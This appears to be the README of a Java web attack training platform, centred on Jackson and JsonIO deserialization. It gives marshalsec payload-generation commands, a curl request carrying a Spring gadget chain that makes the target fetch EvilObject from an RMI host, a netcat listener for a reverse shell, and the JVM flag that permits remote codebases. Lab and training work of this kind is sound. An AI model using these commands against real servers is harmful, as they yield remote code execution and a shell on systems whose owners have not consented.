java-web-vulnerabilities

java-web-vulnerabilities copied to clipboard

Java Web Attacks Training Plattform

Introduction

You can use this plattform to develop and experiment with existing java web attacks.

JSON Deserialization

Payload Generation via marshalsec

java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.Jackson -a -v
java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.JsonIO -a -v

Exploitation Code

curl -x "" -H "Content-Type: application/json" -X POST -d '{"id":133,"object":["org.springframework.beans.factory.config.PropertyPathFactoryBean",{"targetBeanName":"rmi://192.168.34.42:1099/EvilObject","propertyPath":"foo","beanFactory": ["org.springframework.jndi.support.SimpleJndiBeanFactory",{"shareableResources":["rmi://192.168.34.42:1099/EvilObject"]}]}]}' http://192.168.34.9:8443/api/jackson

Reverse Shell

netcat -lkvp 31338

The vulnerable endpoint needs the permission to download the evil class file located in /exploit/EvilObject.class

-.-

-Dcom.sun.jndi.rmi.object.trustURLCodebase=true

Deserialization Details

Jackson

Jackson needs to enable the JacksonPolymorphicDeserialization to be affected against the deserialization vulnerability.